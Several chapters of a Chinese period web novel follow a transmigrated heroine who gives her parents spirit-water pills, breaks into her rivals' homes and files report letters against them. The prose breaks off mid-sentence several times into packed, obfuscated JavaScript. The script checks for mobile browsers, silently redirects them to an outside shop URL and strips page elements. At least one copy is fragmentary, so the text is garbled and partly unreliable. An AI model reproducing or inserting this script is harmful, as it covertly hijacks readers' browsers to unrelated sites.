不过她在回答的过程中也不停地传达着自己的梦和十年这个时间节点,与他们约好了十年后再见。 赵书宜不确定夫妻两人进到项目组就一定顺利,只能给予他们最真挚的祝福。 回到屋内已经快到凌晨,赵书宜直接进了空间,一同拿进去的还有家里的一个小炉子和柴,然后还有婆婆丁和红糖。 条件有限,父母今晚肯定夜不能寐,她一出门准会被发现,也只能用这些东西了。 没错,她就是要给父母用灵泉水制作一批糖丸。 也幸亏空间里的时间流速与外界不同,要不然她还真没时间做。 没有别的东西,赵书宜也只能把糖作为粘合剂。 做出来的糖丸带着点草药的味道也能让他们不至于真当成糖送出去。 等做出两大玻璃罐的糖丸,已经凌晨四点了。 赵书宜似乎又发现了空间的一大好处,她在里面待着好似不会累。 但这还有待考证,可能只是因为自己精神太紧绷了。 她拿着东西去到父母房间,果然他们已经起来了。 “爸妈,这是可以强身健体的泡水的药丸,以后你们每日就用这个泡水喝。” 她说着还给他们一人递了一杯。 当然这里面基本全是灵泉水。 夫妻两人自然不会拒绝女儿的好意,都喝得一滴不剩。 他们都觉得女儿给了自己力量,喝了那糖丸泡的水好像真的立马精神了。 知道他们可能并不会太重视,赵书宜强调,“这是我亲手做的,爸妈,你们可要每天喝,不能给别人,每天喝水的时候都得想到我。” 夫妻两人看了看对方,总觉得今天的女儿很奇怪,但是他们只当是分别在即的缘故,答应了下来。 东西都收拾好就要离开了。 离开前赵父交给赵书宜一封信。 “这个你把它交给你郭叔叔,高志云敢算计我们,总不能让他再安稳地待在研究所。” 郭叔叔是厂研究所所长郭天明,也是赵父的好友,当初也是他极力推荐赵父来研究所的。 赵书宜把东西接下,点了点头。 虽然她也会对高志云下手,但教训渣男,手段不嫌多。 他们和郑书记约好的时间是五点半,五点有车在厂门口接,为了避免出现意外,外出学习的名单会在上午再发布出去。 要分开,赵书宜心里总是不安的,她坚决要去送他们,夫妻两人拗不过,还是让她跟着去了。 他们出门时外面还是漆黑一片,巷子里的人都还没起来。 三人打了电筒往厂门口而去,静悄悄的,他们也都没有说话。 等到地方,看到厂门口的军车赵书宜这才放了点心。 这说明项目是和部队合作的。 想必有人要搞小动作应该也只能在厂子里。 车旁已经站了几个人,赵书宜看清其中一个是郑书记,其他几人也都是厂研究所的人。 根据原身的记忆,这些人都还不错。 他们搞研究的人像高志云那样的还是少数。 饶是如此,赵书宜还是忍不住多劝了一句。 “爸妈,防人之心不可无,不管对谁,都留个心眼。” 分别在即,赵家夫妻都挺感伤,听到这话,赵母笑出声来。 “你这孩子,知道这些道理就好。” 把他们的话都给抢了。 眼看着要到车前,赵母拉住赵书宜的手,赵书宜一愣,下意识看了赵父一眼,对方冲她微一颔首,赵书宜不动声色把母亲悄悄塞给自己的字条扔进了空间。 但其实她立刻就用意念看了看那字条中的内容,松了一口气。 她还以为有什么变故。 “去云省好好的,别让我们担心。” “爸妈,你们也是,记住我们的十年之约啊。” 赵书宜知道自己人微言轻,改变不了这个时代,甚至连个人的命运都不一定能改变,但她已经尽力去做了。 只希望自己和原身身边的人能过得比书中好一点,再好一点。 她拥抱了夫妻两人,然后跟着他们去到了郑书记身边。 “郑书记,这孩子的事就拜托你了。” 郑书记只是冲着夫妻两人敬了个军礼,这是最高级别的承诺。 夫妻两人虽没参军,但他们也是军属大院长大的,都懂得此举的含金量,放了心。 赵书宜也放了心,她甚至为自己一直怀疑对方有些愧疚。 但也只是一瞬,赵书宜并不觉得自己小心谨慎有什么大错。 在这个特殊年代,小心总是好的吧。 随着军车驶离街道,赵书宜就感觉自己的心空了一块似的。 虽然仅仅只相处了一天,但她已经把他们当成了自己的家人。 “一路顺风。”赵书宜在心中默念。 “赵书宜同志,你放心,组织会照顾好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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书中赵书宜和高志云结婚后,那栋房子就转给了他们。 他们两人并没有怎么去住过,但后来改革开放后女主在沪市有了自己的老房子,还有时不时拿出来的好东西。 男主问他东西的来处,她总是语焉不详,现在可都有解释了。 不行,她得先去沪市一趟。 但是从京市去沪市不仅要介绍信还得要时间,坐火车单边26小时,完全赶不上后天早上出发去云省的火车。 那怎么办呢? 是暂时先去云省,再去沪市,还是跟郑书记商量一下? “这年代还真是做什么都不方便。” 她不能让人觉得自己迫切想要去沪市。 那样说了难免就会有人多想。 算了,还是等到云省再说吧,到时候如果顺利结婚,身份没问题了,找个借口去沪市应该没那么难。 赵书宜叹息一声,感觉要安排好所有的事情还真不是那么简单的。 按照赵母的意思也是特别需要钱的时候再想办法去取,而且对方话里还有另外一层意思。 到时候若是出现什么麻烦,那么大一笔钱交出去,总能有个更好的处境。 可惜书中赵家父母恐怕并没有来得及把东西交给自己女儿就匆匆被人害着下了乡。 其实赵书宜对那么多东西还真没有那么大的占有欲,她更求小富即安,现在这年代手握那么多财富可不是什么好事。 但她更不可能让那些害原身的人得到那笔财富。 想好早点去一趟赵书宜也没再多纠结此事。 这房子还有很多东西可以收拾的呢。 她得看哪些可以放进空间带走。 房子没人住,里面的东西肯定是保不住的,但是她全部都搬走也不现实。 现在最好是不要让人对她有任何的怀疑。 赵书宜正琢磨着,还没来得及收拾,没想到她刚刚还担忧的事情居然有了转机。 6. 钢笔 “赵书宜同志,真的非常抱歉,我们这两天必须要去沪市一趟,所以我只能拜托战友送你去云省了。” 看着面前还没有成长起来的男主,赵书宜有些不确定地重复了一下。 “沪市?” 真是瞌睡来了有人送枕头啊。 她的运气什么时候这么好了? “是,有点事情。” 郑景成像是因为自己的食言而感到愧疚,十分不安地挠了挠头,耳朵都有点红。 他能直接说出目的地,想来不是什么多机密的任务。 赵书宜问:“郑同志,方便问一下你们要在沪市待几天吗?” 郑景成大概没想到她会问这个问题,愣了一下。 “我们……少则两三天,多则一个星期吧,我们到时候应该会直接从沪市去云省,你是想跟着我们一起吗?” 赵书宜猛猛点头。 “可以吗?” 还是要给个解释的。 赵书宜作出沮丧模样,“不瞒郑同志,我从小和爷爷奶奶在沪市长大,我这去一趟云省还不知道什么时候再有机会回来,我想去看看。” “方便吗?” 郑景成盯着她看了片刻,才有些呆呆地点头。 “可以。” 赵书宜有些古怪地看了对方一眼,总觉得这个男主有点不像书中男主。 但管他呢,能把她顺理成章带到沪市的就是好男主。 “那我们还是后天一早出发吗?” 听到这问题,郑景成才像是如梦初醒,“不,明天上午九点的火车,我们明早过来接你,时间合适吗?” “好,我可以。” 虽然比之前时间紧了不少,但也不是不行。 事情说定,郑景成也不好多待,转身离开了。 他走后,赵书宜没急着继续收拾自己的屋子。 她还有很多本地的票,得先去买些明面上的东西,到时候总不能真事事都让郑景成他们照顾。 如果能不给对方添麻烦,还是尽量不要给人添麻烦的好。 想到这赵书宜肚子咕咕叫了两声,她却没有做饭,而是直接出了门。 厨房里剩下的那些东西她可以放到空间里。 填饱肚子之前,她先去了另外一个地方。 正是上班时间,军工厂里各处都挺安静的,厂研究所在最南边的角落,平常基本无人打扰。 到了楼前,赵书宜被拦了下来。 这里属于机密单位,除了在里面上班的人谁都不能进。 “小赵有事?” 门卫语气调侃,大概以为赵书宜是来找高志云的,旁人不知道,他们研究所这边肯定知道赵父赵母参加项目去了。 高志云在厂里风评很好,大家也都觉得他和赵书宜好事将近。 赵书宜只当听不出来,笑着打了招呼说:“我找一下郭所长。” 门卫连忙帮忙叫人,很快一个戴着金边眼镜的清瘦男人挽着袖子下来了。 见到赵书宜,他推了推眼镜,问:“书宜,有什么事吗?” “郭叔叔,借一步说话。” 对方四下看看,指了指值班室,“里面说吧。” 只有一个门卫,值班室并没有其他人。 进去后赵书宜没绕弯子,开门见山,“郭叔叔,我爸离开前托我给您带句话。” 赵书宜很是纠结了一番,最后并没有把赵父的信给他。 这个年代,能不留下把柄最好不要。 其实赵父只带了一句话,他认为高志云的基础有待夯实。 看似简简单单的一个要求,对于高志云来说肯定是个不小的打击。 像高志云这样的实习研究员到了研究所一般有两条路子。 一条是按部就班在各个项目打杂,如果合格就能进行自己的研究,但肯定得不到很多资源。 一条是找一个老师带着,跟着老师做项目,老师也会给许多机会,也会帮忙申请物资经费。 高志云从一开始就找准目标全方位下手。 像他这样有野心的年轻人不少。 大部分研究员也愿意给有冲劲的年轻人机会。 如果不是他贪心不足蛇吞象想着赵父手里的秘密资料还想要赵家的财产,他其实可能也会有不错的前途。 可惜,世界上不是所有人都愿意走正道的。 赵书宜收回思绪,说道:“我爸说高志云基础有待夯实,可以多锻炼锻炼。” 郭天明怔了一下,点头,“我知道了。” “对了,郭叔叔,还有句话是我想说的。” 对方脸上露出一丝诧异,“你说。” “我最近发现一件事情,高志云有个很要好的女同志。” 郭天明眉头微蹙,并没有说话,估计是对赵书宜说的内容不感兴趣。 他们醉心研究的人就是应该如此的。 不过赵书宜当然不是单单为了说高志云处对象的事。 “我发现他给这位女同志送过很多东西,低至麦乳精、雪花膏,高至钢笔、手表、自行车……” 赵书宜瞄了一眼对方的脸色,说道:“高天明家里条件工资条件如何研究所应该比我清楚,希望他不是犯了什么不该犯的错。” 郭天明此刻眉心已经皱成一个川字。 “你能对你的话负责吗?” 赵书宜坚定道:“我只能对我的话负责。” 言外之意,你自己脑补的可不关我的事。 其实赵书宜是真不知道高志云有没有在研究所捞好处,或者是借用研究所的关系捞好处,为了他自己的前途这种可能性甚至很小。 但如果他的钱不是这里来的就是从他父母那里来的,他肯定也得受影响。 赵书宜可不希望他靠着什么断绝关系继续过自己的好日子。 能让郭天明怀疑他,他就走不长远。 郭天明显然明白了她话里的意思,“我明白了,你父母不在的这段时间有什么需要可以来找我。” “我最近应该会去外地一趟,有需要我会找您的,祝您工作顺利。” 赵书宜没有多说,郭天明是父亲的好友,但他们的好更多体现在对对方能力的惺惺相惜上,两人家庭之间并不熟络。 果然,对方也没追问。 又说两句后赵书宜告辞离开。 与此同时,研究所二楼。 “你就把那支钢笔先借我应应急,我多给你二十块钱。” “二十!当真?” 高志云咬咬牙,“二十而已,你要不愿意,我去找别人。” “成交,一手交钱一手交货。” 白来的二十块钱,再等几个月总有机会买到。 很快,两人都拿到了自己想要的东西。 “诶,志云,你看楼下那是不是赵书宜啊?” 因为高志云的暗示,大家早认定了他是赵家的女婿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615809|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 高志云心里正有些犯嘀咕,为什么赵家夫妻去做项目他们一点消息都没透露,打听也没人说得出个什么来。 听到赵书宜的名字他诧异了一下,下意识以为对方是来找自己的。 结果看过去时,只看到了赵书宜离开的背影。 “咦,她不是来找你的?” 高志云也很困惑,但并不觉得自己在赵书宜心里不重要,于是很快找到理由。 “听说老师他们项目组走得很匆忙,她可能也是来问情况的,我们上班时她从来不会来打扰。” “你小子有福气!” 两人说笑一阵,高志云转身离开时才收起了自己的笑容。 赵书宜并不知道自己正好被高志云看见了。 就算知道她也不在意,她现在已经上了公交车。 为了方便行事,她决定去远一点的地方先吃饭再大采购。 等她到国营饭店,供应只剩红烧肉了,她立马点了红烧肉和一碗面。 结果尝了尝红烧肉,完全比不上赵母做的,这才分别,她就有点想父母了。 压下情绪,她坐在角落安静吃完了饭。 赵书宜大大方方拎着篮子到了点菜的地方,拿饭盒又点了一晚红烧肉和一碗面,买了五个馒头五个包子。 在对方用怪异的眼神看她时,她大大方方解释道:“亲戚来城里了,帮他们带的。” 也不知道旁边的人有没有信,她顺利买到东西然后悄悄把东西从篮子转移到了空间里。 然后赵书宜又带着钱票去供销社转了一圈,买了些饼干罐头麦乳精,还有香皂牙刷等日用品,以及各种粮食菜种。 至少确保她去到一个新的地方不会没法生活。 全国票也被她用掉一些,但她也留了点,以备不时之需。 一出供销社的门她就看到了隔壁巷子有人拎着篮子低着头行色匆匆,生怕人看不出来他们心中有鬼。 赵书宜猜测里面应该是黑市。 她有点馋,听说黑市买东西不用票,但因为对这片不熟,她不敢进去。 现在不是可以惹麻烦的时机。 原身也从没进过这样的地方。 没再犹豫,赵书宜明亮的眼睛从那地方收了回来,默默拎着篮子往公交站台赶。 结果刚上公交车,两个包裹严实的女人飞快也蹿上了公交车,一上车两人头巾一扯,顿时变了样。 有个年轻女人坐到赵书宜身边握着篮子的手都在发抖。 赵书宜眼观鼻鼻观心,假装什么也没看到,只盯着窗外愣神。 结果就见方才黑市方向冲出来六七个人,背后两个戴着红袖章的年轻人追着他们不放。 赵书宜只感觉身边的人抖得更厉害了,她下意识侧身挡了一下对方。 所幸,就在那些人要往这边来时公交车哐当当启动了。 旁边姑娘重重呼出一口气,她看了赵书宜一眼,对上视线时笑了笑,无声说了句谢谢。 赵书宜淡淡摇头,没想与对方有什么接触。 她马上就要离开京市了,还是少惹麻烦得好。 谁知那姑娘倒是个知恩图报的,她在中途下车,下车前抓了一把大白兔奶糖放在赵书宜篮子上,然后像是担心赵书宜还给她,跑得飞快。 赵书宜低头看看奶糖,心情莫名扬起来些。 这样还算不错的心情一直持续到看到站在家门口的许晚晴时敛了起来。 7. 最好的朋友 “书宜!你回来了!” 看到赵书宜,许晚晴卖力地挥着手,几乎要跳起来。 她这活泼向上的样子看得赵书宜一怔。 作为女主,许晚晴自长着一张天然无害的貌美脸庞,与赵书宜的明艳不同,她是清纯可人,很能给人好感。 当然,这也得益于她那与高志云如出一辙的高超演技。 “书宜,你去哪了呀?”许晚晴语气甜美,凑上前来。 “出去买点东西,有什么事吗?”赵书宜态度不咸不淡,许晚晴还没发现哪里不对劲。 视线在赵书宜手中的篮子上掠过,看到盖在上面的碎花布,她眯了眯眼,但很快她就收回了视线。 像往常一样,她自顾坐在了堂屋的椅子上。 “书宜,我听说叔叔阿姨去外出参加项目去了,是什么项目啊,就留你一个人在家吗?” 许晚晴一直盯着赵书宜,像是想从她眼里看出点什么来。 现在通知应该已经发出来了。 对外的通知当然不可能说他们是去了什么项目组,很多东西都不会详说,不知道许晚晴这么问是不是知道些什么。 赵书宜琢磨片刻,还是给她倒了杯水。 “我也不清楚,好像是去做什么调研吧,我爸妈说可能七八天就回来了,但是他们说如果事情顺利,可能十月就要离开京市去参加项目。”赵书宜胡诌。 “七八天?”许晚晴一副松了口气的模样。 对上赵书宜的探究目光她像是突然回过神来,笑笑道:“还好,我还以为他们把你一个人丢在京市,那之后他们去参加项目,你怎么办?” 赵书宜:“我又不是小孩了,能怎么办,我当然是继续读书。” 她成绩好,考上大学是板上钉钉的事。 只是现在大学已经开始乱起来了,所以赵家人都没想让她再读书。 许晚晴听到她要读书,也有些诧异,但很快转为幸灾乐祸,说话时倒没有表现出来,说:“上大学啊,那也挺好,祝你顺利。” 赵书宜假装没听到她咬着重音的“祝福”,“还行吧,读书也是为了更好地建设国家,我们走的都是同样的路。” 原身虽然不怎么能吃苦,但她思想觉悟却是很高的。 所以赵书宜说出这样的话,许晚晴并没有怀疑,等着看赵书宜读不到书时的热闹。 她撇了撇嘴,把赵书宜当瞎子。 赵书宜也装瞎子,问:“对了,你来找我是有什么事吗?” 有事说事,没事赶紧滚吧。 许晚晴半点不知道赵书宜对她的嫌弃,还说笑道:“没事就不能来找你了吗,我们可是最好的朋友。” 呵呵。 最好的朋友。 会在背后害别人全家的最好朋友,她可消受不起。 见赵书宜不接话,她脸上的笑容终于还是变得更勉强了些。 “咦!”突然,她从椅子上蹭地站了起来。 赵书宜莫名地看向她。 “你……书宜,你的手镯呢?” 她面上露出惊慌,极力掩饰,但还是又从言语间溢了出来。 见状赵书宜心中微动,抬起右手看了看,上面擦伤的位置早已恢复如初。 “你说那镯子啊。”赵书宜吊她胃口。 “对啊,你不是说那是你奶奶留给你的吗,你怎么没戴着啊?是掉了吗?” “没有。”赵书宜作悲伤状,“我这些天不是病了吗,那天从床上摔到地上,摔碎了。” “什么,碎了!”许晚晴露出难以置信的表情,“书宜,你不会是骗我的吧?” 赵书宜反问:“我骗你做什么,我为什么要拿我奶奶的镯子跟你开玩笑,这又不是你的镯子。” “晚晴,你为什么那么关心我的镯子呀?” 她之前已经问过了。 这话瞬间拉回了许晚晴的理智,她面色讪讪,艰难地露出一个有些难看地笑容。 “没有,那不是你奶奶的东西吗,我只是觉得你应该会很爱护老人家的东西,没想到居然会碎了。” 赵书宜垂头,“我也不想的啊,都怪我,我要是不生病就好了。” “这怎么能怪你呢,生病也不是你的错。” “可是如果不是我,镯子也不会坏。” 许晚晴听着赵书宜的话越听越觉得哪里不太对劲,但似乎又没什么问题,偏她还得劝慰以维持两人的友谊。 赵书宜心里都快笑疯了。 她当然会觉得不对劲了。 这不就是她从前对别人的招数吗? 就因为她这样的做派,不管是原身还是高志云亦或是她的其他拥护者都会忍不住给她好处。 原身没少因此给她好东西。 赵书宜倒不指望能借机从她那抠出东西来,能恶心恶心她也是好的。 但人家可是女主,有自己的目的当然得达到。 她没一会儿就提起了自己感兴趣的话题。 “你和高志云怎么样了?现在环境不好,还是尽早结婚比较好。” 赵书宜其实真的没想噎她的,但真忍不了。 “那你怎么不结婚?” “我……” 许晚晴真被噎住了,但她很快找到应对之辞。 “我这不是没遇到合适的人吗,你和高同志又不一样,你们心意相通,还犹豫什么?” “难道你不想跟他结婚吗?” 如果许晚晴针对的不是自己,赵书宜都想给她鼓掌了。 这小嘴叭叭的。 要真把她当好友,还真容易被她带沟里。 赵书宜不跟她争论。 “我爸妈已经松口了,但他们不是出去了吗,可能等回来就会谈结婚的事吧。” 说完赵书宜假装回屋,实则从空间把那支钢笔拿了出来。 钢笔还是没被赵父拿走。 “你看,这是高志云送我的钢笔,虽然不怎么贵重,但我已经收了,不知道他个榆木脑袋懂不懂。” 她拿出钢笔,许晚晴的表情就彻底变了。 用脚趾头赵书宜都能猜到大概是发生了什么。 要不就是高志云承诺了要给许晚晴钢笔,结果没有送,却送给了自己。 要不就是高志云承诺了,结果还骗许晚晴暂时给不了,却又在自己这里看到了。 瞧她这气愤的样子,估计就是后者了。 这就是赵书宜搭配着原身的梦知道的女主的样子。 她明明对高志云一点想法也没有,却不愿意对方脱离自己的掌控,哪怕是对方的一支笔。 “怎么了,晚晴,这笔有什么问题吗?” “我能看看吗?”许晚晴眼底的阴霾已经快要藏不住,但赵书宜却没怕,对方总不能拿钢笔尖戳死自己吧? 赵书宜把钢笔递给了她。 结果没想到许晚晴接过后打开笔帽时哎呀一声没拿稳,钢笔跌在了地上。 赵书宜气笑了。 这手段。 赵家是厂里分的比较不错的院子,屋子里都是坚硬的水泥地,钢笔尖这么一摔肯定得坏。 “怎么办,我不是故意的,书宜,你不会怪我的吧?” 赵书宜眉头紧紧地锁着,“我本来是不想怪你的,但是这可是志云送给我的定情信物。” “啊,那怎么办?”许晚晴表现得比她还可惜,“要不你先给我,我去帮你找人把笔尖修好!” 赵书宜面露犹疑,“真的能修好吗?” “当然了,你放心,你可是我最好的朋友,我肯定不会骗你的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615810|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完她又可怜巴巴地看着赵书宜,“对不起,书宜。” 眼睛都红了。 赵书宜震惊,好演技啊。 “没事没事,那你赶紧拿去修吧,明天给我行吗,我请你去国营饭店吃饭。”赵书宜画饼。 本来许晚晴还苦着一张脸的,听到这话,表情瞬间转晴。 “好,那我现在就去。” “好,你小心点啊,别弄不见了。” 赵书宜提这么一句不是没有依据的。 许晚晴不止一次在她这里借东西借不见了。 原身或许也不是不知道,但原身觉得自己有钱,许晚晴没有父亲,可怜,她把这些东西当成接济。 殊不知每次她表现出不在意那些东西的时候许晚晴都会觉得是她在炫耀,越发地反感她。 许晚晴终于走了,赵书宜耳朵也清静了。 她决定还是先不把东西都收进空间,左右收进空间也费不了多少时间,谁知道会不会有人突然来找她。 不过赵书宜还是大概把家里的东西都整理了一遍。 确定了哪些要带走,哪些不能带走。 时间一晃就来到了晚上。 月黑风高夜,正是办事时。 赵书宜从里面把房门锁了,然后翻墙出了家门。 虽说很多家庭都还没睡,但这么晚倒是嫌少有人在外面晃荡。 赵书宜出去后直奔距离她家一条街的大杂院。 那边也是军工厂的家属区,普通员工分房子会分在那边,高志云也在。 赵书宜没想做什么,只是想过来看看高志云这里有没有什么异常,谁知道刚到后窗底下就听到里面传来一个熟悉的女声。 “你还说你不喜欢她,吃个午饭的时间都巴巴去找人家,而且连定情信物都送了,这还叫不喜欢?” “男人嘴里的话果然没一句能听的。” 说话的人正是许晚晴。 大晚上的孤男寡女,这两人胆子够大的。 “你不是想让我娶她吗,那我多去找找她,送她点东西不是应该的?” 啧啧,这幽怨的劲儿。 “你在怪我?” 许晚晴明显生气了,但还尽力压抑着,她也知道大晚上被别人发现不好。 要不是赵书宜还有别的事情要做,她真想直接领着人上门捉奸,那多有意思啊。 “怎么会,我在你心里就那么不靠谱?我去找她是因为今天上午在厂里看到她了,不知道她去厂里做什么?” 闻言赵书宜一惊,没想到对方还看见自己了。 她抿抿唇,暗自庆幸自己没直接把父亲的信交给郭天明,要不然指不定就会被高志云知道。 虽然他不一定能猜到信里写的是什么,到底不放心。 狗东西,真够好运的。 突然只听许晚晴惊呼一声。 “哇,是友谊商店的钢笔!”许晚晴的欣喜都快跑窗外来了。 “志云哥,你对我真好。” 狗东西! 赵书宜就知道,这个高志云还真是有点本事,钱也多! “我对你好吧?” 男人语气得意,没一会儿里面竟传来辣耳朵的声音。 赵书宜震惊了—— 书中不是说女主最是纯情的吗? 果然,“尽信书不如无书”了啊喂! 也不知道他们会不会做到最后,赵书宜只可惜自己没有系统,不能把这两人的龌龊事录下来公诸于众。 实在不想耳朵被污染,赵书宜很快离开了。 不管他们还会不会商量什么对付她的计策,反正她不会让他们得逞。 明天开始就让他们自顾不暇。 赵书宜第一趟去的不是别处,正是摔她钢笔的许晚晴家。 8. 亮瞎她的狗眼 许晚晴家一个人也没有,想必许母在值班,正好方便赵书宜。 他们既然有那胆子往她家塞那些害人的东西,就要做好被以牙还牙的准备。 赵书宜先是进了许晚晴的房间。 小皮鞋、布拉吉、衬衣、雪花膏、麦乳精…… 赵书宜晃眼扫去,许多东西都是原身的,她忍不住又咬了咬牙。 这些东西折算成钱大概能有五六百。 给她打个折收她五百好了。 赵书宜找了张凳子,拿出了衣柜上方纸盒后的一个烂纸盒,然后从纸盒里找出了一个比麦乳精包装还大的饼干铁皮盒。 这盒饼干也是从原身那儿拿的。 那可是友谊商店买的,超大一盒,十二块钱呢。 别问赵书宜怎么知道的,书里可不止一次说到女主的生财之道。 在获得原身的空间前,许晚晴的宝贝都藏在这盒子里面,等拿到空间后,她的东西自然都转移到了空间里。 赵书宜打开,看到铁皮盒里的东西惊了一跳。 那一沓崭新的大团结,少说有一千块。 她一个连工作都还没有的高中毕业生,哪里来的这么多钱,而且除了钱还有各种工业券等平常难以获得的票。 果然不能小看了重生女主! 书里提她重生后会去帮助一些她上辈子知道的暂时落难的潜力股,从而得到资源和人脉,但没说有这么多东西啊! 不过不看到这些票赵书宜都险些忘了对方曾经在原身那儿或借或要去的那些票了。 赵书宜可没占她便宜,只拿了大概属于原身的部分,大团结也只拿了五十五张,多的一张没拿。 这其中包括今天她拿走的那支钢笔,赵书宜算了她五十块和两张工业券。 拿回属于自己的东西,并不代表赵书宜就这么放过对方了。 东西她不想拿,肯定也不能让许晚晴自己留着。 她也没做多的,把铁皮盒子直接拿到了许母的房间。 许母收患者好处是书中明确提到过的,为此女主还站在道德制高点和自己母亲大吵了一架。 按许晚晴的意思,她虽然骗了好友,撩了男人,得到了好东西,但她行得正坐得直,她妈收别人的钱就不是好妈妈,不是好医生,不是好女人。 按许母的意思,若是没有她的那些筹谋自己女儿屁都不是。 两人为了这事冷战几年才好。 自己这也算是提前帮她们把矛盾解决了。 很快,赵书宜找到了书中提到过的那个被许晚晴发现的成为他们母女导火索的账本。 许母有一个习惯,有任何收入都会记得清清楚楚。 当然她也知道有些收益不合法合规,所以她自己还做了两个账本。 赵书宜看了看,上面连年月日病人生的什么病都被她记得很清晰,真是一把当会计的好手。 没多耽搁,赵书宜直接进了空间把上面的内容全部誊抄了一遍。 有这个账本其实已经足够让许家鸡飞狗跳了。 但赵书宜可不是什么心善的人。 一个医生,家里女儿这么多过于夸张的服饰,家里家具什么的都是好东西,厨房里腊肉都有七八条。 也难怪许晚晴从来不愿意带人回她家玩了。 原身可真是满腔真心错付。 把举报信完善了一下,又重新誊抄了四五遍,这才不动声色离开。 但她没急着去送举报信,而是去了另一个地方,高志云和许晚晴那么般配,倒霉当然也要让他们一起。 高家夫妻都在家,家里还有个浅眠的老娘,赵书宜想要悄悄进去就很困难了。 但这难不倒赵书宜,这里可是原身的噩梦之地。 高家大女儿已经出嫁,她原来的小房间被堆成了杂物间,那个房间的窗户早在对方还没出嫁的时候就已经损坏了。 家里根本没人在意这个女儿,又怎么会在意这么个窗子。 后来还是原身嫁进去之后家中遭了贼才把那窗户修好。 原身还被骂了好久的丧门星。 冲着这称呼,赵书宜今晚就要好好招呼一下高家。 她骨架纤细,虽然有些困难,但还是从那小窗子缩了进去。 杂物间的门没锁,赵书宜几乎没发出任何声音就轻易地推开了。 进去之后她没去有人的两间屋子,她虽然大着胆子来的,但胆子也没肥到那个份上。 知道高家的钥匙放在堂屋门凳下的小缝里,顺利拿到,很快她打开了高家的书房门。 高家的书房其实不大,还没有她的房间大,但是装扮得挺雅致。 高父从前就是个附庸风雅的人。 之前知道自己儿子和研究员的女儿来往亲密,他没少在外面吹牛。 这房间里还有原身做主送给对方做生日礼物的一幅自家爷爷的老画。 赵书宜当然不允许老人家留下来的东西留在这里,直接拿走了。 然后她四处找了一通,终于让她在旁边书柜里找到了一个墙上的暗格。 若不是肯定他家里有这东西,赵书宜不一定能找到。 暗格被几本语录挡着,就算把语录一本一本拿下来看也不一定能发现书柜上有个小开关,打开那里才能打开暗格。 如果不是她来,恐怕别人得砸了书柜才能发现暗格。 赵书宜一边琢磨着怎么举报才能让人发现这里东西,一边打开暗格拿出了里面的箱子。 结果一打开,亮瞎她的狗眼。 里面居然有半箱子的小黄鱼。 赵书宜知道有很多人靠着十年特殊时期拿到了许多的财宝,但现在不是还没到时间吗? 高父哪里来的这么多钱? 赵书宜有些纠结。 这些钱一看就有猫腻,到时候要是给他机会凭着这些东西,说不定还能翻盘。 东西不亲自交到可靠的人手中赵书宜不放心。 但是自己又有什么可以信得过的人,就算有自己要用什么理由交出去呢? 就在赵书宜犹豫的时候她突然听到隔壁屋子传来说话声。 “老高你有没有听到什么声音?” 赵书宜瞳孔一缩,东西塞入空间,其他东西立马从空间里放回来,物归原处! 她几乎片刻不停留跑出书房将钥匙也放回原位,又躲进了杂物间,然后顿时进入空间。 杂物间出入安全得多。 赵书宜进入空间里大口大口地喘着气,没一会儿她就听到了有开门的声音。 “哪有什么声音,你听错了吧。” “书房那边呢,我刚刚好像听到关锁的声音了。” 两人脚步匆匆,应该是查看书房的门去了。 赵书宜心提起来。 不知道他们会不会立马发现里面的东西不见了。 如果现在就发现恐怕不太妙,虽然她也有把握离开,到底会影响她的计划。 那边很快又传来说话声。 “这不是好好的吗,我看你是睡糊涂了。” “兴许是我听错了吧。” 男人不耐烦,“睡觉睡觉,真是没事找事。” 过了许久,听到外面完全没了动静,赵书宜这才小心地出了空间从小窗户离开了。 她来之前特地穿了一双男人的布鞋,也没擦灰,就看明天他们会不会发现了。 刚才等待的时间赵书宜已经清点了箱子里的东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615811|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 除了那些小黄鱼,大团结有近两千块,进口手表有两块,还有账本。 这教会赵书宜一个道理,做坏事就不要记账了,否则账本就会出现在某些部门。 只可惜这些账本只是高父的,高母的她找不到了。 但如果高父的事情曝出来,想必高母在街道办的处境也不会太好。 她同样进空间重新把针对高家的举报信誊抄了几份。 并且写了几张大字,用的高志云的字迹。 诬陷不了就恶心恶心他们好了。 恶心玩意儿就配这些恶心手段。 这年头还没有成立委员会,赵书宜不知道他们这些人之间存不存在互相包庇,于是她把举报信塞了好几处地方。 他们各自单位的领导办公室,保卫科,派出所门口,以及街道办,还有书里和原身梦里他们不对付的人家家门口。 跑一晚上还真有些累到赵书宜了。 